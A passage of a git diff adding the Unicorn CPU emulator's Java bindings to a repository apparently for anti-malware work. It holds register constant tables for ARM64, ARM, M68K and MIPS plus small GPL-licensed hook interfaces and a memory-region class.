UC_ARM64_REG_H24 = 96; + public static final int UC_ARM64_REG_H25 = 97; + public static final int UC_ARM64_REG_H26 = 98; + public static final int UC_ARM64_REG_H27 = 99; + public static final int UC_ARM64_REG_H28 = 100; + public static final int UC_ARM64_REG_H29 = 101; + public static final int UC_ARM64_REG_H30 = 102; + public static final int UC_ARM64_REG_H31 = 103; + public static final int UC_ARM64_REG_Q0 = 104; + public static final int UC_ARM64_REG_Q1 = 105; + public static final int UC_ARM64_REG_Q2 = 106; + public static final int UC_ARM64_REG_Q3 = 107; + public static final int UC_ARM64_REG_Q4 = 108; + public static final int UC_ARM64_REG_Q5 = 109; + public static final int UC_ARM64_REG_Q6 = 110; + public static final int UC_ARM64_REG_Q7 = 111; + public static final int UC_ARM64_REG_Q8 = 112; + public static final int UC_ARM64_REG_Q9 = 113; + public static final int UC_ARM64_REG_Q10 = 114; + public static final int UC_ARM64_REG_Q11 = 115; + public static final int UC_ARM64_REG_Q12 = 116; + public static final int UC_ARM64_REG_Q13 = 117; + public static final int UC_ARM64_REG_Q14 = 118; + public static final int UC_ARM64_REG_Q15 = 119; + public static final int UC_ARM64_REG_Q16 = 120; + public static final int UC_ARM64_REG_Q17 = 121; + public static final int UC_ARM64_REG_Q18 = 122; + public static final int UC_ARM64_REG_Q19 = 123; + public static final int UC_ARM64_REG_Q20 = 124; + public static final int UC_ARM64_REG_Q21 = 125; + public static final int UC_ARM64_REG_Q22 = 126; + public static final int UC_ARM64_REG_Q23 = 127; + public static final int UC_ARM64_REG_Q24 = 128; + public static final int UC_ARM64_REG_Q25 = 129; + public static final int UC_ARM64_REG_Q26 = 130; + public static final int UC_ARM64_REG_Q27 = 131; + public static final int UC_ARM64_REG_Q28 = 132; + public static final int UC_ARM64_REG_Q29 = 133; + public static final int UC_ARM64_REG_Q30 = 134; + public static final int UC_ARM64_REG_Q31 = 135; + public static final int UC_ARM64_REG_S0 = 136; + public static final int UC_ARM64_REG_S1 = 137; + public static final int UC_ARM64_REG_S2 = 138; + public static final int UC_ARM64_REG_S3 = 139; + public static final int UC_ARM64_REG_S4 = 140; + public static final int UC_ARM64_REG_S5 = 141; + public static final int UC_ARM64_REG_S6 = 142; + public static final int UC_ARM64_REG_S7 = 143; + public static final int UC_ARM64_REG_S8 = 144; + public static final int UC_ARM64_REG_S9 = 145; + public static final int UC_ARM64_REG_S10 = 146; + public static final int UC_ARM64_REG_S11 = 147; + public static final int UC_ARM64_REG_S12 = 148; + public static final int UC_ARM64_REG_S13 = 149; + public static final int UC_ARM64_REG_S14 = 150; + public static final int UC_ARM64_REG_S15 = 151; + public static final int UC_ARM64_REG_S16 = 152; + public static final int UC_ARM64_REG_S17 = 153; + public static final int UC_ARM64_REG_S18 = 154; + public static final int UC_ARM64_REG_S19 = 155; + public static final int UC_ARM64_REG_S20 = 156; + public static final int UC_ARM64_REG_S21 = 157; + public static final int UC_ARM64_REG_S22 = 158; + public static final int UC_ARM64_REG_S23 = 159; + public static final int UC_ARM64_REG_S24 = 160; + public static final int UC_ARM64_REG_S25 = 161; + public static final int UC_ARM64_REG_S26 = 162; + public static final int UC_ARM64_REG_S27 = 163; + public static final int UC_ARM64_REG_S28 = 164; + public static final int UC_ARM64_REG_S29 = 165; + public static final int UC_ARM64_REG_S30 = 166; + public static final int UC_ARM64_REG_S31 = 167; + public static final int UC_ARM64_REG_W0 = 168; + public static final int UC_ARM64_REG_W1 = 169; + public static final int UC_ARM64_REG_W2 = 170; + public static final int UC_ARM64_REG_W3 = 171; + public static final int UC_ARM64_REG_W4 = 172; + public static final int UC_ARM64_REG_W5 = 173; + public static final int UC_ARM64_REG_W6 = 174; + public static final int UC_ARM64_REG_W7 = 175; + public static final int UC_ARM64_REG_W8 = 176; + public static final int UC_ARM64_REG_W9 = 177; + public static final int UC_ARM64_REG_W10 = 178; + public static final int UC_ARM64_REG_W11 = 179; + public static final int UC_ARM64_REG_W12 = 180; + public static final int UC_ARM64_REG_W13 = 181; + public static final int UC_ARM64_REG_W14 = 182; + public static final int UC_ARM64_REG_W15 = 183; + public static final int UC_ARM64_REG_W16 = 184; + public static final int UC_ARM64_REG_W17 = 185; + public static final int UC_ARM64_REG_W18 = 186; + public static final int UC_ARM64_REG_W19 = 187; + public static final int UC_ARM64_REG_W20 = 188; + public static final int UC_ARM64_REG_W21 = 189; + public static final int UC_ARM64_REG_W22 = 190; + public static final int UC_ARM64_REG_W23 = 191; + public static final int UC_ARM64_REG_W24 = 192; + public static final int UC_ARM64_REG_W25 = 193; + public static final int UC_ARM64_REG_W26 = 194; + public static final int UC_ARM64_REG_W27 = 195; + public static final int UC_ARM64_REG_W28 = 196; + public static final int UC_ARM64_REG_W29 = 197; + public static final int UC_ARM64_REG_W30 = 198; + public static final int UC_ARM64_REG_X0 = 199; + public static final int UC_ARM64_REG_X1 = 200; + public static final int UC_ARM64_REG_X2 = 201; + public static final int UC_ARM64_REG_X3 = 202; + public static final int UC_ARM64_REG_X4 = 203; + public static final int UC_ARM64_REG_X5 = 204; + public static final int UC_ARM64_REG_X6 = 205; + public static final int UC_ARM64_REG_X7 = 206; + public static final int UC_ARM64_REG_X8 = 207; + public static final int UC_ARM64_REG_X9 = 208; + public static final int UC_ARM64_REG_X10 = 209; + public static final int UC_ARM64_REG_X11 = 210; + public static final int UC_ARM64_REG_X12 = 211; + public static final int UC_ARM64_REG_X13 = 212; + public static final int UC_ARM64_REG_X14 = 213; + public static final int UC_ARM64_REG_X15 = 214; + public static final int UC_ARM64_REG_X16 = 215; + public static final int UC_ARM64_REG_X17 = 216; + public static final int UC_ARM64_REG_X18 = 217; + public static final int UC_ARM64_REG_X19 = 218; + public static final int UC_ARM64_REG_X20 = 219; + public static final int UC_ARM64_REG_X21 = 220; + public static final int UC_ARM64_REG_X22 = 221; + public static final int UC_ARM64_REG_X23 = 222; + public static final int UC_ARM64_REG_X24 = 223; + public static final int UC_ARM64_REG_X25 = 224; + public static final int UC_ARM64_REG_X26 = 225; + public static final int UC_ARM64_REG_X27 = 226; + public static final int UC_ARM64_REG_X28 = 227; + public static final int UC_ARM64_REG_V0 = 228; + public static final int UC_ARM64_REG_V1 = 229; + public static final int UC_ARM64_REG_V2 = 230; + public static final int UC_ARM64_REG_V3 = 231; + public static final int UC_ARM64_REG_V4 = 232; + public static final int UC_ARM64_REG_V5 = 233; + public static final int UC_ARM64_REG_V6 = 234; + public static final int UC_ARM64_REG_V7 = 235; + public static final int UC_ARM64_REG_V8 = 236; + public static final int UC_ARM64_REG_V9 = 237; + public static final int UC_ARM64_REG_V10 = 238; + public static final int UC_ARM64_REG_V11 = 239; + public static final int UC_ARM64_REG_V12 = 240; + public static final int UC_ARM64_REG_V13 = 241; + public static final int UC_ARM64_REG_V14 = 242; + public static final int UC_ARM64_REG_V15 = 243; + public static final int UC_ARM64_REG_V16 = 244; + public static final int UC_ARM64_REG_V17 = 245; + public static final int UC_ARM64_REG_V18 = 246; + public static final int UC_ARM64_REG_V19 = 247; + public static final int UC_ARM64_REG_V20 = 248; + public static final int UC_ARM64_REG_V21 = 249; + public static final int UC_ARM64_REG_V22 = 250; + public static final int UC_ARM64_REG_V23 = 251; + public static final int UC_ARM64_REG_V24 = 252; + public static final int UC_ARM64_REG_V25 = 253; + public static final int UC_ARM64_REG_V26 = 254; + public static final int UC_ARM64_REG_V27 = 255; + public static final int UC_ARM64_REG_V28 = 256; + public static final int UC_ARM64_REG_V29 = 257; + public static final int UC_ARM64_REG_V30 = 258; + public static final int UC_ARM64_REG_V31 = 259; + +// pseudo registers + public static final int UC_ARM64_REG_PC = 260; + public static final int UC_ARM64_REG_CPACR_EL1 = 261; + +// thread registers + public static final int UC_ARM64_REG_TPIDR_EL0 = 262; + public static final int UC_ARM64_REG_TPIDRRO_EL0 = 263; + public static final int UC_ARM64_REG_TPIDR_EL1 = 264; + public static final int UC_ARM64_REG_PSTATE = 265; + +// exception link registers + public static final int UC_ARM64_REG_ELR_EL0 = 266; + public static final int UC_ARM64_REG_ELR_EL1 = 267; + public static final int UC_ARM64_REG_ELR_EL2 = 268; + public static final int UC_ARM64_REG_ELR_EL3 = 269; + +// stack pointers registers + public static final int UC_ARM64_REG_SP_EL0 = 270; + public static final int UC_ARM64_REG_SP_EL1 = 271; + public static final int UC_ARM64_REG_SP_EL2 = 272; + public static final int UC_ARM64_REG_SP_EL3 = 273; + +// other CP15 registers + public static final int UC_ARM64_REG_TTBR0_EL1 = 274; + public static final int UC_ARM64_REG_TTBR1_EL1 = 275; + public static final int UC_ARM64_REG_ESR_EL0 = 276; + public static final int UC_ARM64_REG_ESR_EL1 = 277; + public static final int UC_ARM64_REG_ESR_EL2 = 278; + public static final int UC_ARM64_REG_ESR_EL3 = 279; + public static final int UC_ARM64_REG_FAR_EL0 = 280; + public static final int UC_ARM64_REG_FAR_EL1 = 281; + public static final int UC_ARM64_REG_FAR_EL2 = 282; + public static final int UC_ARM64_REG_FAR_EL3 = 283; + public static final int UC_ARM64_REG_PAR_EL1 = 284; + public static final int UC_ARM64_REG_MAIR_EL1 = 285; + public static final int UC_ARM64_REG_VBAR_EL0 = 286; + public static final int UC_ARM64_REG_VBAR_EL1 = 287; + public static final int UC_ARM64_REG_VBAR_EL2 = 288; + public static final int UC_ARM64_REG_VBAR_EL3 = 289; + public static final int UC_ARM64_REG_ENDING = 290; + +// alias registers + public static final int UC_ARM64_REG_IP0 = 215; + public static final int UC_ARM64_REG_IP1 = 216; + public static final int UC_ARM64_REG_FP = 1; + public static final int UC_ARM64_REG_LR = 2; + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/ArmConst.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/ArmConst.java new file mode 100644 index 0000000..0bab07a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/ArmConst.java @@ -0,0 +1,138 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface ArmConst { + +// ARM registers + + public static final int UC_ARM_REG_INVALID = 0; + public static final int UC_ARM_REG_APSR = 1; + public static final int UC_ARM_REG_APSR_NZCV = 2; + public static final int UC_ARM_REG_CPSR = 3; + public static final int UC_ARM_REG_FPEXC = 4; + public static final int UC_ARM_REG_FPINST = 5; + public static final int UC_ARM_REG_FPSCR = 6; + public static final int UC_ARM_REG_FPSCR_NZCV = 7; + public static final int UC_ARM_REG_FPSID = 8; + public static final int UC_ARM_REG_ITSTATE = 9; + public static final int UC_ARM_REG_LR = 10; + public static final int UC_ARM_REG_PC = 11; + public static final int UC_ARM_REG_SP = 12; + public static final int UC_ARM_REG_SPSR = 13; + public static final int UC_ARM_REG_D0 = 14; + public static final int UC_ARM_REG_D1 = 15; + public static final int UC_ARM_REG_D2 = 16; + public static final int UC_ARM_REG_D3 = 17; + public static final int UC_ARM_REG_D4 = 18; + public static final int UC_ARM_REG_D5 = 19; + public static final int UC_ARM_REG_D6 = 20; + public static final int UC_ARM_REG_D7 = 21; + public static final int UC_ARM_REG_D8 = 22; + public static final int UC_ARM_REG_D9 = 23; + public static final int UC_ARM_REG_D10 = 24; + public static final int UC_ARM_REG_D11 = 25; + public static final int UC_ARM_REG_D12 = 26; + public static final int UC_ARM_REG_D13 = 27; + public static final int UC_ARM_REG_D14 = 28; + public static final int UC_ARM_REG_D15 = 29; + public static final int UC_ARM_REG_D16 = 30; + public static final int UC_ARM_REG_D17 = 31; + public static final int UC_ARM_REG_D18 = 32; + public static final int UC_ARM_REG_D19 = 33; + public static final int UC_ARM_REG_D20 = 34; + public static final int UC_ARM_REG_D21 = 35; + public static final int UC_ARM_REG_D22 = 36; + public static final int UC_ARM_REG_D23 = 37; + public static final int UC_ARM_REG_D24 = 38; + public static final int UC_ARM_REG_D25 = 39; + public static final int UC_ARM_REG_D26 = 40; + public static final int UC_ARM_REG_D27 = 41; + public static final int UC_ARM_REG_D28 = 42; + public static final int UC_ARM_REG_D29 = 43; + public static final int UC_ARM_REG_D30 = 44; + public static final int UC_ARM_REG_D31 = 45; + public static final int UC_ARM_REG_FPINST2 = 46; + public static final int UC_ARM_REG_MVFR0 = 47; + public static final int UC_ARM_REG_MVFR1 = 48; + public static final int UC_ARM_REG_MVFR2 = 49; + public static final int UC_ARM_REG_Q0 = 50; + public static final int UC_ARM_REG_Q1 = 51; + public static final int UC_ARM_REG_Q2 = 52; + public static final int UC_ARM_REG_Q3 = 53; + public static final int UC_ARM_REG_Q4 = 54; + public static final int UC_ARM_REG_Q5 = 55; + public static final int UC_ARM_REG_Q6 = 56; + public static final int UC_ARM_REG_Q7 = 57; + public static final int UC_ARM_REG_Q8 = 58; + public static final int UC_ARM_REG_Q9 = 59; + public static final int UC_ARM_REG_Q10 = 60; + public static final int UC_ARM_REG_Q11 = 61; + public static final int UC_ARM_REG_Q12 = 62; + public static final int UC_ARM_REG_Q13 = 63; + public static final int UC_ARM_REG_Q14 = 64; + public static final int UC_ARM_REG_Q15 = 65; + public static final int UC_ARM_REG_R0 = 66; + public static final int UC_ARM_REG_R1 = 67; + public static final int UC_ARM_REG_R2 = 68; + public static final int UC_ARM_REG_R3 = 69; + public static final int UC_ARM_REG_R4 = 70; + public static final int UC_ARM_REG_R5 = 71; + public static final int UC_ARM_REG_R6 = 72; + public static final int UC_ARM_REG_R7 = 73; + public static final int UC_ARM_REG_R8 = 74; + public static final int UC_ARM_REG_R9 = 75; + public static final int UC_ARM_REG_R10 = 76; + public static final int UC_ARM_REG_R11 = 77; + public static final int UC_ARM_REG_R12 = 78; + public static final int UC_ARM_REG_S0 = 79; + public static final int UC_ARM_REG_S1 = 80; + public static final int UC_ARM_REG_S2 = 81; + public static final int UC_ARM_REG_S3 = 82; + public static final int UC_ARM_REG_S4 = 83; + public static final int UC_ARM_REG_S5 = 84; + public static final int UC_ARM_REG_S6 = 85; + public static final int UC_ARM_REG_S7 = 86; + public static final int UC_ARM_REG_S8 = 87; + public static final int UC_ARM_REG_S9 = 88; + public static final int UC_ARM_REG_S10 = 89; + public static final int UC_ARM_REG_S11 = 90; + public static final int UC_ARM_REG_S12 = 91; + public static final int UC_ARM_REG_S13 = 92; + public static final int UC_ARM_REG_S14 = 93; + public static final int UC_ARM_REG_S15 = 94; + public static final int UC_ARM_REG_S16 = 95; + public static final int UC_ARM_REG_S17 = 96; + public static final int UC_ARM_REG_S18 = 97; + public static final int UC_ARM_REG_S19 = 98; + public static final int UC_ARM_REG_S20 = 99; + public static final int UC_ARM_REG_S21 = 100; + public static final int UC_ARM_REG_S22 = 101; + public static final int UC_ARM_REG_S23 = 102; + public static final int UC_ARM_REG_S24 = 103; + public static final int UC_ARM_REG_S25 = 104; + public static final int UC_ARM_REG_S26 = 105; + public static final int UC_ARM_REG_S27 = 106; + public static final int UC_ARM_REG_S28 = 107; + public static final int UC_ARM_REG_S29 = 108; + public static final int UC_ARM_REG_S30 = 109; + public static final int UC_ARM_REG_S31 = 110; + public static final int UC_ARM_REG_C1_C0_2 = 111; + public static final int UC_ARM_REG_C13_C0_2 = 112; + public static final int UC_ARM_REG_C13_C0_3 = 113; + public static final int UC_ARM_REG_IPSR = 114; + public static final int UC_ARM_REG_MSP = 115; + public static final int UC_ARM_REG_PSP = 116; + public static final int UC_ARM_REG_CONTROL = 117; + public static final int UC_ARM_REG_ENDING = 118; + +// alias registers + public static final int UC_ARM_REG_R13 = 12; + public static final int UC_ARM_REG_R14 = 10; + public static final int UC_ARM_REG_R15 = 11; + public static final int UC_ARM_REG_SB = 75; + public static final int UC_ARM_REG_SL = 76; + public static final int UC_ARM_REG_FP = 77; + public static final int UC_ARM_REG_IP = 78; + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/BlockHook.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/BlockHook.java new file mode 100644 index 0000000..cae5ef9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/BlockHook.java @@ -0,0 +1,29 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public interface BlockHook extends Hook { + + public void hook(Unicorn u, long address, int size, Object user); + +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/CodeHook.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/CodeHook.java new file mode 100644 index 0000000..6cbfdd4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/CodeHook.java @@ -0,0 +1,29 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public interface CodeHook extends Hook { + + public void hook(Unicorn u, long address, int size, Object user); + +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/EventMemHook.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/EventMemHook.java new file mode 100644 index 0000000..db1f12d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/EventMemHook.java @@ -0,0 +1,29 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public interface EventMemHook extends Hook { + + public boolean hook(Unicorn u, long address, int size, long value, Object user); + +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/Hook.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/Hook.java new file mode 100644 index 0000000..003599a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/Hook.java @@ -0,0 +1,29 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +/** + * Base class for all unicorn hooking interfaces + */ + +public interface Hook { +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/InHook.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/InHook.java new file mode 100644 index 0000000..97653ab --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/InHook.java @@ -0,0 +1,29 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public interface InHook extends Hook { + + public int hook(Unicorn u, int port, int size, Object user); + +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/InterruptHook.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/InterruptHook.java new file mode 100644 index 0000000..23bc29f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/InterruptHook.java @@ -0,0 +1,29 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public interface InterruptHook extends Hook { + + public void hook(Unicorn u, int intno, Object user); + +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/M68kConst.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/M68kConst.java new file mode 100644 index 0000000..4f0574d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/M68kConst.java @@ -0,0 +1,30 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface M68kConst { + +// M68K registers + + public static final int UC_M68K_REG_INVALID = 0; + public static final int UC_M68K_REG_A0 = 1; + public static final int UC_M68K_REG_A1 = 2; + public static final int UC_M68K_REG_A2 = 3; + public static final int UC_M68K_REG_A3 = 4; + public static final int UC_M68K_REG_A4 = 5; + public static final int UC_M68K_REG_A5 = 6; + public static final int UC_M68K_REG_A6 = 7; + public static final int UC_M68K_REG_A7 = 8; + public static final int UC_M68K_REG_D0 = 9; + public static final int UC_M68K_REG_D1 = 10; + public static final int UC_M68K_REG_D2 = 11; + public static final int UC_M68K_REG_D3 = 12; + public static final int UC_M68K_REG_D4 = 13; + public static final int UC_M68K_REG_D5 = 14; + public static final int UC_M68K_REG_D6 = 15; + public static final int UC_M68K_REG_D7 = 16; + public static final int UC_M68K_REG_SR = 17; + public static final int UC_M68K_REG_PC = 18; + public static final int UC_M68K_REG_ENDING = 19; + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/MemHook.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/MemHook.java new file mode 100644 index 0000000..9f1a188 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/MemHook.java @@ -0,0 +1,27 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public interface MemHook extends ReadHook,WriteHook { + +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/MemRegion.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/MemRegion.java new file mode 100644 index 0000000..b729b3a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/MemRegion.java @@ -0,0 +1,37 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2016 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public class MemRegion { + + public long begin; + public long end; + public int perms; + + public MemRegion(long begin, long end, int perms) { + this.begin = begin; + this.end = end; + this.perms = perms; + } + +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/MipsConst.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/MipsConst.java new file mode 100644 index 0000000..3b2dd99 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/MipsConst.java @@ -0,0 +1,203 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface MipsConst { + +// MIPS registers + + public static final int UC_MIPS_REG_INVALID = 0; + +// General purpose registers + public static final int UC_MIPS_REG_PC = 1; + public static final int UC_MIPS_REG_0 = 2; + public static final int UC_MIPS_REG_1 = 3; + public static final int UC_MIPS_REG_2 = 4; + public static final int UC_MIPS_REG_3 = 5; + public static final int UC_MIPS_REG_4 = 6; + public static final int UC_MIPS_REG_5 = 7; + public static final int UC_MIPS_REG_6 = 8; + public static final int UC_MIPS_REG_7 = 9; + public static final int UC_MIPS_REG_8 = 10; + public static final int UC_MIPS_REG_9 = 11; + public static final int UC_MIPS_REG_10 = 12; + public static final int UC_MIPS_REG_11 = 13; + public static final int UC_MIPS_REG_12 = 14; + public static final int UC_MIPS_REG_13 = 15; + public static final int UC_MIPS_REG_14 = 16; + public static final int UC_MIPS_REG_15 = 17; + public static final int UC_MIPS_REG_16 = 18; + public static final int UC_MIPS_REG_17 = 19; + public static final int UC_MIPS_REG_18 = 20; + public static final int UC_MIPS_REG_19 = 21; + public static final int UC_MIPS_REG_20 = 22; + public static final int UC_MIPS_REG_21 = 23; + public static final int UC_MIPS_REG_22 = 24; + public static final int UC_MIPS_REG_23 = 25; + public static final int UC_MIPS_REG_24 = 26; + public static final int UC_MIPS_REG_25 = 27; + public static final int UC_MIPS_REG_26 = 28; + public static final int UC_MIPS_REG_27 = 29; + public static final int UC_MIPS_REG_28 = 30; + public static final int UC_MIPS_REG_29 = 31; + public static final int UC_MIPS_REG_30 = 32; + public static final int UC_MIPS_REG_31 = 33; + +// DSP registers + public static final int UC_MIPS_REG_DSPCCOND = 34; + public static final int UC_MIPS_REG_DSPCARRY = 35; + public static final int UC_MIPS_REG_DSPEFI = 36; + public static final int UC_MIPS_REG_DSPOUTFLAG = 37; + public static final int UC_MIPS_REG_DSPOUTFLAG16_19 = 38; + public static final int UC_MIPS_REG_DSPOUTFLAG20 = 39; + public static final int UC_MIPS_REG_DSPOUTFLAG21 = 40; + public static final int UC_MIPS_REG_DSPOUTFLAG22 = 41; + public static final int UC_MIPS_REG_DSPOUTFLAG23 = 42; + public static final int UC_MIPS_REG_DSPPOS = 43; + public static final int UC_MIPS_REG_DSPSCOUNT = 44; + +// ACC registers + public static final int UC_MIPS_REG_AC0 = 45; + public static final int UC_MIPS_REG_AC1 = 46; + public static final int UC_MIPS_REG_AC2 = 47; + public static final int UC_MIPS_REG_AC3 = 48; + +// COP registers + public static final int UC_MIPS_REG_CC0 = 49; + public static final int UC_MIPS_REG_CC1 = 50; + public static final int UC_MIPS_REG_CC2 = 51; + public static final int UC_MIPS_REG_CC3 = 52; + public static final int UC_MIPS_REG_CC4 = 53; + public static final int UC_MIPS_REG_CC5 = 54; + public static final int UC_MIPS_REG_CC6 = 55; + public static final int UC_MIPS_REG_CC7 = 56; + +// FPU registers + public static final int UC_MIPS_REG_F0 = 57; + public static final int UC_MIPS_REG_F1 = 58; + public static final int UC_MIPS_REG_F2 = 59; + public static final int UC_MIPS_REG_F3 = 60; + public static final int UC_MIPS_REG_F4 = 61; + public static final int UC_MIPS_REG_F5 = 62; + public static final int UC_MIPS_REG_F6 = 63; + public static final int UC_MIPS_REG_F7 = 64; + public static final int UC_MIPS_REG_F8 = 65; + public static final int UC_MIPS_REG_F9 = 66; + public static final int UC_MIPS_REG_F10 = 67; + public static final int UC_MIPS_REG_F11 = 68; + public static final int UC_MIPS_REG_F12 = 69; + public static final int UC_MIPS_REG_F13 = 70; + public static final int UC_MIPS_REG_F14 = 71; + public static final int UC_MIPS_REG_F15 = 72; + public static final int UC_MIPS_REG_F16 = 73; + public static final int UC_MIPS_REG_F17 = 74; + public static final int UC_MIPS_REG_F18 = 75; + public static final int UC_MIPS_REG_F19 = 76; + public static final int UC_MIPS_REG_F20 = 77; + public static final int UC_MIPS_REG_F21 = 78; + public static final int UC_MIPS_REG_F22 = 79; + public static final int UC_MIPS_REG_F23 = 80; + public static final int UC_MIPS_REG_F24 = 81; + public static final int UC_MIPS_REG_F25 = 82; + public static final int UC_MIPS_REG_F26 = 83; + public static final int UC_MIPS_REG_F27 = 84; + public static final int UC_MIPS_REG_F28 = 85; + public static final int UC_MIPS_REG_F29 = 86; + public static final int UC_MIPS_REG_F30 = 87; + public static final int UC_MIPS_REG_F31 = 88; + public static final int UC_MIPS_REG_FCC0 = 89; + public static final int UC_MIPS_REG_FCC1 = 